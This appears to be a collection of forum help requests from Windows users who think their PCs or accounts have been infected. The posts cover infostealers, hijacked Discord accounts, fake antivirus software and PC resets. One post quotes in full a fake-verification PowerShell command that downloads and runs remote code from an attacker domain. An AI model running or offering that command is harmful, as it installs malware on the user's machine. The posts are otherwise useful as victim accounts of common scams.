basically title but only thing that running shit like this will lead to is the beast scam being spammed across whatever socials you have
(haven't fallen for this but seems like many people fall for this)
My computer got infected around June (or possibly earlier, with the infostealer only working around June), I ran Microsoft defender and removed the virus after a full scan and did the bare minimum to secure any salvageable accounts (I'm not very tech savvy) at the time. Recently however, my Discord (couldn't salvage it so I had it deleted and used the same email) got compromised again so I decided to do a bit more research this time, logging out of everything and changing the passwords on my phone and resetting my PC (chose the "Remove Everything" option and because I didn't use OneDrive, didn't restore any OneDrive files). Because I don't have a spare computer to do a USB install, I chose the cloud install option.
TL;DR is my pc still compromised after completely resetting my PC?
I closed my PC, reopened it, it performed a Windows update and then Bitdefender gave me this notification. Is this a false positive? I scanned the file with malwarebytes and malwarebytes didn't find anything wrong with it. Although I tried uploading the file to virustotal and it was stuck at hash 0%. I tried scanning the folder the file is in with malwarebytes to see if it would find weird stuff in it malwarebytes didn't find anything but upon doing the scan Bitdefenders real time protection also detected amifldrv64 as potentially unwanted.
I tried using PowerShell/CMD commands as admin to get the sha256 of the files but it said access refused. Later, I decided to temporarily re enable the Internet on my computer to check for Bitdefender updates and after doing so I scanned the files it had previously blocked with real time projection and the scan was clean however this does not remove the fact that it seems odd that the sha256 can't be viewed.
I have a serious virus that I can't get rid off and my last resort is to clean install windows, I think I know the source but that doesn't matter now, the damage is done, I've lost sererval accounts sharing the same password but not the ones with different ones so that's how I know this virus is automated and not targeted. But I'm afraid it's much more serious, between the time frame of accessing the suspicious app and today, that was 2 days ago, gpu heavy games started to have a input delay issue and I think the virus is doing it, I've done a offline defender scan and it claims to have removed the virus and when I checked the quarantine I noticed that the antivirus was battling this virus repeatedly. I thought I could get a different antivirus and deal with another way but it attacks third-party installations that deal with virus removale and no other installations. So that could be the key to the input delays I'm having, it seems this virus is running 24/7 and slowing down drivers. I don't want to clean install and it's still there. Please I need help.
Okay so look. Today i got spammed with a bunch of emails and sms to my phone and gmail, all verification codes for random newsletters, crypto, random stuff. As I'm raking through them, i see an apple purchase for $2k i never got. I call apple to cancel it, and call my credit card company to pause it.
I have never used that credit card on my apple account though. There's no payment attached to my apple account. The purchase was also for pickup at an apple store right near me. nobody i know used my apple account or anything like that.
Apple and both my Google accounts say they aren't compromised, so no sign ins other than my devices.
Also worth mentioning is that sometimes when i start up my pc, a couple of cmd screens pop up for a millisecond and go away. I did an MS defender scan and it said my pc was fine...
i honestly have no idea. i paused all my credit cards I've ever used on my pc and phone and honestly don't know what to do. please help.
Just found these 2 files in my windows-ssd (c) ,
First is .Gamingroot
Second is WRP7B5A.tmp , and i can't delete the tmp one it says " this action can't be completed because this file is open in gameinput" , and when i try to delete the .gamingroot it need administration, so what are these
<#Verification ID:8348aeb3ca3281e0#> powershell -c "iex(irm 'http://framework-css-styles-js(dot)beer/8348aeb3ca3281e0' -UseBasicParsing)";exit <#Verification ID:8348aeb3ca3281e0#>
Get-MpComputerStatus | Select-Object AntivirusEnabled,RealTimeProtectionEnabled
Above is the code that i ran in my powershell. Before coming at me i did not know where i was being taken by that cloudflare bullshit but here i am guys please help me out .
I have not noticed any theft or anything also my windows defender and everything was on at that time so as i ran this windows defender did not let it do its whole job but my vs code studio has been running strangely slow and so is my laptop.
I ran the script 3 months ago but the slowing down application things started happening this month.
Hi everyone!
I'm looking for recommendations for a lightweight antivirus that offers free, permanent real-time/background protection, similar to Windows Defender.
I'm using an old PC with the following specs:
The main issue is that Windows Defender Antivirus was completely removed from this customized Windows installation, not just disabled.
I've already checked through PowerShell, and the WinDefend service, main executable files, and other essential components are missing. Restoring Defender doesn't seem straightforward without repairing or reinstalling Windows, which I'd prefer to avoid because I want to keep the optimizations.
I've looked into Malwarebytes and Kaspersky, but the versions I've found either offer a limited Premium trial or don't provide permanent real-time protection for free.
What I'm looking for:
I'm not expecting top-tier performance, just decent protection against malware and viruses without significantly slowing down the PC.
Any recommendations or advice would be greatly appreciated!
About six months ago, I unfortunately fell for a scam/hack on Discord, where a hacker gets you to open an executable under the guise of it being a game they're developing, the executable steals your account's login info, and they lock you out and then pose as you, messaging your friends to try to do the same. Rinse and repeat. I'm still pretty embarrassed about it haha, but in my defense, I'm active in a number of game dev communities and genuinely thought my friend had developed a game.
Anyways, when I realized what had happened shortly after being locked out of my account, being kinda paranoid, I just shut down my entire laptop and disconnected it from my internet. In the meantime, I was able to recover my account after about a month, but I haven't touched or turned on the laptop since (I luckily have a spare Mac that I've since used).
After putting it off for a while, I think it's about time I finally address properly cleaning the laptop. I'm a bit paranoid about not exactly knowing if the hacker did anything else via the virus besides steal my account info. Of course I changed my passwords on all my other accounts (he actually tried going after my email account associated with Discord too), but I've worried that maybe he could have installed a keylogger or some sort monitoring software on the computer too?
Luckily, I had most of the computer's important files backed up, save like two really important folders that I really don't want to have to lose if I fully wipe the computer to be safe. Would it be safe or advisable to just quickly open the computer up, grab the files and transfer them to a flashdrive, and then wipe it? Is there any chance the virus could be attached to those files in some way? Sorry, I honestly know nothing about cybersecurity (if that wasn't already obvious haha).
I'd appreciate any advice on the best way to wipe the laptop too, or my overall approach. It's a Windows 11 laptop. Thanks for reading.
My Daughter thougt it was real and she told it me. How does she get on such websites?
So I was just using my laptop like normal and my nexomia executor wasn't working. So i went to the discord and made a ticket. We had a good conversation of his suggestions and ideas to iCoulterfixing my executor and he asked if I had an anti-virus and I said yes. So then he said why and i said that it was windows antivirus, but he said it was reason cybersecurity, and he asked me why I downloaded it. I said I did not download it and I don't know anything about it. He said then how did it get there and I said I don't know. He said uninstall it so I went to the control panel and tried to uninstall the "anti-virus" but it said when I clicked uninstall on the page there was no yes button. Just no. So I was like what the fuck you mean I can't say yes? So I asked him what the fuck is going on and he said try to do it through the settings app so i tried but it still didn't work and I ended up searching it up and stuff so I could delete it. But no it had already taken over everything pretty much. So I had to like go through troubleshoot blue screen cmd prompt. But when I ran the command to make me an administrator again they already corrupted that so I went to the master command prompt and successfully promoted myself but when I logged in my Microsoft family safety made me not an admin and all that was for nothing. So I used the master command prompt again to stop that process of family safety. And did a bit more bullshit to get rid of the virus and right now my laptop is sitting on my desk running a full scan of my files and deleting it at the moment. Fuck reason cybersecurity. This shit took my whole evening today 7:00 to fucking 10:00.